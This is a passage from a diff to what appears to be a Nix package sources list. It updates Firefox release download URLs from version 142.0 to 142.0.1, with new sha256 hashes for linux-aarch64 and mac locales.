-      sha256 = "cd27b440fd9d4038438f026b357dc8feb128b19ca8eb5d0f5aecd2ea3ad9526a";
+      sha256 = "730aa414ee95339b128c392671bbc2075a4b28de71803cd6b0ac887c64f8520f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ru/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ru/firefox-142.0.1.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "2256ba507bac112347853da97d0467049be4ad76372ad299991b7be67c403c13";
+      sha256 = "4b076a3d799d24e1b1e5696a97bb0b66b652b8fd559752df249e94f5f1f7f65c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sat/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/sat/firefox-142.0.1.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "1f327a5a3769c275995935b7917840d75c3f641a256521852c2bf270af09d787";
+      sha256 = "15aab23abd1551bde2f8a84421664f16db4b4585941b2176ca10a2d69845bd2a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sc/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/sc/firefox-142.0.1.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "028fc1caff333f7dcf7cdc9b34a7dbc89f80dd51a34207eb55e2e017e4c0f2f3";
+      sha256 = "a6d2325809d04019ff2e00d50373ae616c461ce678f27ff974609a3f8c5d606f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sco/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/sco/firefox-142.0.1.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "cdfaf057806f77abd4c21df7b74bb51c034df9be18bf96212613e58eeda029db";
+      sha256 = "1a4680621a68c639f7d8ade417f1e0993830a28366080cefb9a4778d5819ab4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/si/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/si/firefox-142.0.1.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "f857f9416dbf0e6b8b27eef8dce9f803c3f8ff3d5e7ce4c10740636782a57e33";
+      sha256 = "7bdb484fdc69bd9acedeaf8e04c81c8a5b939c72d6366a31921694b3c2c946e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/sk/firefox-142.0.1.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "0526baa8b197ab5511739369d1914beddc91fcd45b01e2c3bef0d41a073e74a6";
+      sha256 = "876021957fae3d26dcbd4f3d5f87ecc45c016288fe7c6538f94b1f4dc29581fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/skr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/skr/firefox-142.0.1.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "0b69b4c3fa1677f5d614dfe7eb9434bcfcf41f6bf6c04452121f5de4ffd9ea4f";
+      sha256 = "03d674be12072327b7e945752dc324f491259c0c907f24ec1415759f14648f70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/sl/firefox-142.0.1.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "005514a0ecace67395aa497986d2896e10d029eac6665e80a353fe64760b5cfa";
+      sha256 = "ad2066cd053461e04de9550c0100d6b5391d4fd0da27e8950033c61574d08f0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/son/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/son/firefox-142.0.1.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "0982c3c8286482ff4d58e74e34beb9c5507333102722d8d75b40ca1018b9d0c7";
+      sha256 = "a5c256916ca132e54928c1cb78257d5ece93b428222d2bf8ef50895b912858ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sq/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/sq/firefox-142.0.1.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "17d0a0fa71980b593f6fccf4e4685776aba7cc0fe12ebeabd4fb0ca8e8f34d8c";
+      sha256 = "3b079b206244f8064b408f787ed89e0f0ac57240197d2ddd41f941d6a59d01cc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/sr/firefox-142.0.1.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "86deb314cc5b2d4c74fa06a4fd04ad8a25a0d7a30ff17b064f3f621a7e9d13b6";
+      sha256 = "f56374e515051f19dd113f5b1ba476b748d61f89f25d66ae9a387053e79d4e4d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/sv-SE/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/sv-SE/firefox-142.0.1.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "facdac4938ba2f3f3995e1a65556ba4eba027cd75b26991001c51eaa8bae1c73";
+      sha256 = "50944d8591c59202f3e128b648592888ba935bd62f8cc90a95c8ff9c635f004c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/szl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/szl/firefox-142.0.1.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "19eadc0fb28e5439b031dfc66341ccf3af30cf0231f9fa97695acfcec99cef31";
+      sha256 = "378483057cd7fcfc12006b7959e309950bb14aaa62568b5bbadf0f15e2dbad21";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ta/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ta/firefox-142.0.1.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "b19438f28cad92c2fbdd7ba9000c04deac9ab5d66b85ab2d1172a4b2f4c23468";
+      sha256 = "59e26d8ed8d10ec5d85faf93df40d56f87c03997f39e4ea791ecc8c1d773b36e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/te/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/te/firefox-142.0.1.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "6cbc5f058c6c51daaa152374dbf0ef7a480b2a5b8379ee124ed54619ff659997";
+      sha256 = "3d4177516a8dad08a8ddbcf25dde22f057165fcd2f03cf4617010a7254a937c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/tg/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/tg/firefox-142.0.1.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "9e9552df9c45562e7a6d6ad8b3338268233d9d4876815426b7c83e15c89a15fd";
+      sha256 = "adec3b233ef895db045f796b6f669285ef37b676793a8a2975fe59d71246624b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/th/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/th/firefox-142.0.1.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "66d924b81ad6d7c721396ebec7d01e56f340267f2f2cf8537c04e0a4e81ba38a";
+      sha256 = "394c9845db8b91a4a3d5071fb5314df502a7230c23ec338eaa1926b6cdfb59f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/tl/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/tl/firefox-142.0.1.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "f77af69387be92e855d261bdc0a312c411a537c9b084b4b99edcf92b78b9ea30";
+      sha256 = "e22be81478e5cf77224842b68ee506f3c597e3ea427e17ff570c1dca2d3b1ba6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/tr/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/tr/firefox-142.0.1.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "f439a1e898458d0552d166a73377f41226094fec512747e79b44928c95c0f749";
+      sha256 = "17ed540e92afedd298a32e544ada53a2f8c295fbb8a954675357217c56fe3c3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/trs/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/trs/firefox-142.0.1.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "5634c589f31965f0ee274eabf98b98cff0432f7164894cf78cc83787805cb793";
+      sha256 = "89573f4391dec15d581fb731b74a1e099748b4e931b19d4154a26074f7cb1c7b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/uk/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/uk/firefox-142.0.1.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "00c78e103130e596bf1b6a7902ead661b6e95bb09a3020e99fd7988701a52d26";
+      sha256 = "f3ed58c485d4ffde5318b9e7228bdc58e48950094d465baad60bdb4aa5efb4d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ur/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/ur/firefox-142.0.1.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "c076d51edd7d0c5eafb82b84b3de8c7b6ec46f8949403b67bdf0873a7815c8f1";
+      sha256 = "4ced4ed51eb95cf7d70a0216c1a8fa13a94b315c699ceae2fdec3fafe3aeddb8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/uz/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/uz/firefox-142.0.1.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "e060c94992b95b4b3489b042f26e5ab424cf853456db4d546cdbaee7783f4f27";
+      sha256 = "c81a4734815493cfd6539c79b838239209f9cf75b1e0804852c25d0f0434ef2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/vi/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/vi/firefox-142.0.1.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "94325fb4fc9bc3a37d3c7ce0e28c1caaf3cb053c9816eef204d27408642659ee";
+      sha256 = "8bf91ba169e7f5f883f3faf23c47f0d84ca7c842a9c97c0e7beb4375007c201a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/xh/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/xh/firefox-142.0.1.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "e95bd5ad4068b0cfed97dbb0a0cad69820424ba56e9343ac1a6afb9d8fe92b1e";
+      sha256 = "10360344ab844c73feb57660bd26105120f705ddb3721a31419e27b1a5dff1e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/zh-CN/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/zh-CN/firefox-142.0.1.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "ae33b4d6307a424367c128754caecf8c6ccde2cd51583bb27b06fd5827984fde";
+      sha256 = "2c9ff0afd90b09e57dfd46799a58aa31ced4cb2ad4cee588c069965cc78ed433";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/zh-TW/firefox-142.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/linux-aarch64/zh-TW/firefox-142.0.1.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "f8d9d6147d361af3c691dbc8ea4bdc8776642dbcfb0eef52aa07faee918f2e2a";
+      sha256 = "cae7a6af4b6590b94baffcceec7bf5b437eff86060a2c34e0d54147546c37064";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ach/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ach/Firefox%20142.0.1.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "4341ce0002c88250bf7767280ef7e376467f44e59403bbcbd3d44d402b78fa5f";
+      sha256 = "b1645caecda0fe031202becd602f0077f23bf046d83b361e03971e6379335e0e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/af/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/af/Firefox%20142.0.1.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "f70282fefa70894de40b30011a20737473121496f66b3366a778e3bb6e28b14a";
+      sha256 = "f6f0d9d8ea4f23333f4ac5ed59e8a685fc876cdb27da494a00593b8b04090995";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/an/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/an/Firefox%20142.0.1.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "935e240f3145f413f55e9c236dd9bfbc43f6fa19b74a0920faee3a63023620a3";
+      sha256 = "d4975ac81fd65c032bcac7249f96fc656c37e18b6bcea7cc0a2caed99fa56e80";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ar/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ar/Firefox%20142.0.1.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "d7d4aa7fdf7e167de93d6cf40d4c3a00a9a5ab2a57b7235c2f9062724e5bade2";
+      sha256 = "ad67b2027618dce5a1d53c6cf57172800d8677aa10cf349e76c62074461754d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ast/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ast/Firefox%20142.0.1.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "27c410ca47ac3512725d68200bd494e22bc4134803055dd4ac9b86847ae271a8";
+      sha256 = "6d1b9c80e1729b610317c09b51ac6b7dcf136935e59fd54cc62f79b072c4751e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/az/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/az/Firefox%20142.0.1.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "4a50ed3cb6792253e20fce8555024c97af71660af9cdcb23d55765f2a9b9e537";
+      sha256 = "861111935dd4e74445c68aa9a55bc20db0a9c0d96a6f8693936d450028936901";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/be/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/be/Firefox%20142.0.1.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "3d07b34c4a12a36b195ca55dcbdb65345178786673bd3a44bfd3ace750fd7e00";
+      sha256 = "ec292c88aab1693dc072a7ab3581996ec2e68c8fff906015adba2ca3eda2e8ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/bg/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/bg/Firefox%20142.0.1.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "6fc20dde52b54f61bbfd6454982486fac5ee77565ab7a2edc35798d2edad9e72";
+      sha256 = "0c5a81f7539e1ced5e4fc09fe75136168f36d74600e7e88bc95783f37be7ad77";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/bn/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/bn/Firefox%20142.0.1.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "c90f7ba197f3c600002e2aeeaa8bed08ec82fca72097be7d42fb5bd582e5bab7";
+      sha256 = "86a2a8d5a5f7816f89350317eb55e3124b39ca8287b0ff2eb1efcee6c49717ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/br/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/br/Firefox%20142.0.1.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "edd552f746924c087888ca5f35d043cbeeec1c4b2ef39d875f89d326176ce2b9";
+      sha256 = "348b1847f7bb18aed9631e4efa144a8cb0a5d21d5e166e71eb8a9d1634ca857c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/bs/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/bs/Firefox%20142.0.1.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "45e4510ab4bc953d299800b07089ea4773610a59b65637d15cd21bfbfabf10d9";
+      sha256 = "89305b544a18c49ea1a23c11e213bf67713ce166049b5cf02046ef9c201ed5a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ca-valencia/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ca-valencia/Firefox%20142.0.1.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "c969ce8f59de04cbbb11efeb7265174f0a453ca751ba1407dc4239f9117df30e";
+      sha256 = "281644a75c75f2f93cf9d2322d847ca75b14fb214003993545fcfc14d1369ee9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ca/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ca/Firefox%20142.0.1.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "8b858ba62e2a3b911cb9cf367481971910a1ff3ed763e969e1ffbc978d8e74c9";
+      sha256 = "a31fee4f9b4d6993ed5754309618647518ab0bea326f5775905895fd6212437c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/cak/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/cak/Firefox%20142.0.1.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "0857daed19bda28a4c05d13e8ad5074890027200305e971a1c648ecd2364dc17";
+      sha256 = "6f1d2b0ed16bf5da2e9ecf53e41737d4874ea3540984cbfcf58d9e1a42c589d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/cs/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/cs/Firefox%20142.0.1.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "8529af4a2972946a3c99249b561b34c9f3b83cc393c749ba01df33cc8bf50dac";
+      sha256 = "0f9b00a175d8be755656480331e4b54b9dfdeb8da02dfae297999c94e367f701";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/cy/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/cy/Firefox%20142.0.1.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "bdb881bf47243839b73b55a2c12b8ee51541a129655eaea585155f02e93a5349";
+      sha256 = "df73f25ba6c764cf3a7f85fc8c6320eb7b229308f159799434b9ba06e3fe3573";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/da/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/da/Firefox%20142.0.1.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "065d76480584713f94638ad5ce952c23d591711bd0b02b38951b3a366f894f9d";
+      sha256 = "5b9fad7c64d46a0f98ba6e1265ed7df1a996cdb494a27fe3bc76096902c15738";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/de/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/de/Firefox%20142.0.1.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "e8d658e2292fe88ac4bd623303bcc24bd87eadb43b6a5ea5d0e216c35c434737";
+      sha256 = "d5eccd860e7e5eb0abe89eb455b4637d0d906d606dcfbe568205a0894626d779";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/dsb/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/dsb/Firefox%20142.0.1.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "964525213b7c6bb4950b585598c2c5e0fde91919826378d2a41c6a1c9d0b323a";
+      sha256 = "6189a8953ce5e5eb05888a0fb1f789d58e3ffc82c235e373fee863b6c6f26ab5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/el/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/el/Firefox%20142.0.1.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "cf11c802fdb71294c85cab2e95db5cf5965d1f1fcbfb6119a1a8d02e05549de6";
+      sha256 = "ea08c185224f39937d5f113908aac5b3ce9a97e6a196e0537dd785618372f209";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/en-CA/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/en-CA/Firefox%20142.0.1.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "3a97157b0a0c12820506e42bd18470fb5bc8b77f6f4198f5cfa36f677fb53fb4";
+      sha256 = "c60b58d043957d36f5a18f605010a64803cecddf7494ac0133edacb973f527a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/en-GB/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/en-GB/Firefox%20142.0.1.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "a94c7636941c72be838546e304f98f94cacdf95124ebf33de7bece24fae6f1b0";
+      sha256 = "f37c161ffd18aa9424fa51daab4a68587e4968eec6d3342917c9857928c8dc24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/en-US/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/en-US/Firefox%20142.0.1.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "cc0ce6b3ec64d064c16187f92ca4a8df5a21a1d7aa2f79a9e82b44602f2b1a0f";
+      sha256 = "de41866c94d064a20cd787d89203c5f646fe0278da13c44605733ce205680965";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/eo/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/eo/Firefox%20142.0.1.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "0805049d7deec19cea01bf5947231442d37e486ee90d442deb647e2546481248";
+      sha256 = "4cb74c31ea9d197e6c9caadb3556790ceb94afb810509637691d51b02293bf6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/es-AR/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/es-AR/Firefox%20142.0.1.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "c393d3298fe486f801033b75f46c0e98258d79507df469681f096a18b86068ed";
+      sha256 = "f9e6747e7fc6eb9d651c1383d3c78bb25f308892da43515f2bed376c90320de6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/es-CL/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/es-CL/Firefox%20142.0.1.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "c1a78c7d5914e96a1bf96399f208d3c53805bbff0994ea65c990656de6711332";
+      sha256 = "adfbf905f81583d3a04143f9259b5b80c390ca7161790e9697691acf6ee64247";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/es-ES/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/es-ES/Firefox%20142.0.1.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "bec5cf38486390dfbb7e95fa71bb23226debca760e15aa19d67fe9b0f1df264c";
+      sha256 = "5165f4315597f360eefb6ca3b0a505f1a584581c214e16afdcf02db45598a4e0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/es-MX/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/es-MX/Firefox%20142.0.1.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "07dd5830487c194b078ed4f2aba101ae559b89e11a4f69d5608969664489ee33";
+      sha256 = "fe96f452b94b419e193dd52506ec298b8b5e6fe91d3f6af6af97a825327aacec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/et/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/et/Firefox%20142.0.1.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "adf3e037eeda72569dee39b3ad4aa3ee180f9e733f327ead0a03293c28c7efed";
+      sha256 = "57b27134470ccf44a32b9a5e54a98786f96d0bc1642964c69af762beb29e29e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/eu/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/eu/Firefox%20142.0.1.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "363fb6c488ee0d21ce2662c0b588d37721bfead9582521e938a3dd5eedb43382";
+      sha256 = "8afc2fc3b107fc027d1161853a6a627d1589721dc43363c5a3d34f99ccc555e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fa/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/fa/Firefox%20142.0.1.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "92e12ec109ead629f1ee6fafd6dd1f45e6c98c272d2b333d97a9f0d823385c82";
+      sha256 = "9a684e0c99130a8388e2f2c34b2d0da43dcfa8878947645321225ce7701fede8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ff/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ff/Firefox%20142.0.1.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "f8f8076cd197d8b33d615a6a72ef46fac6839c4d1c4380b7fe44fa6a962969bf";
+      sha256 = "ab8b9fc73f47d65ce1ad7603367f8838abb137dc1260066280ede111c90125c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fi/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/fi/Firefox%20142.0.1.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "12a12df58ba57ae364a5cdc348d25091bf547f4079b3a2dee892cbd0212f641e";
+      sha256 = "fa8a8f038494b8817fdaf564f7108f4c5f2f550995a5b1f7ede17adf8ddc9345";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fr/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/fr/Firefox%20142.0.1.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "2c8ad051b60f24fe3002627e170231c155a8f009104f0324f69a81fb84e328a1";
+      sha256 = "09409429aeabf23f3d214cc9be485ac691f87a53d24982c6a8b13db601968503";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fur/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/fur/Firefox%20142.0.1.dmg";
       locale = "fur";
